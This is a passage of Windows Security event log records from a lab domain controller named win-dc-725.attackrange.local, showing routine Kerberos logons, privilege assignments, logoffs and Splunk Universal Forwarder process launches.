	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:31:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257411
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4FB34F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:31:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257410
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4FB34F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		50911

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:31:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257409
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4FB34F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:31:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257412
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8f4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:31:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257413
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x960
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:31:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257414
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf08
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:31:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257415
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc50
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:31:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257416
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x100c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:31:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257418
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12c4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:31:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257417
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1168
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:31:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257420
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4FDDD1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{1315B027-D61C-A152-E46C-74A6DCC39304}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		50917

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:31:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257419
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4FDDD1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:31:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257421
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4FDDD1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:32:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257424
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4FEA66

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:32:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257423
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4FEA66
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		50925

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:32:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257422
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4FEA66

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:32:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257430
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4FEDCF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:32:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257429
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4FEDCF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		50929

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:32:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257428
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4FEDCF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:32:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257427
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4FED63

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:32:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257426
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4FED63
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		50928

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:32:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257425
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4FED63

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:32:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257431
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1054
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:32:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257433
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13a0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
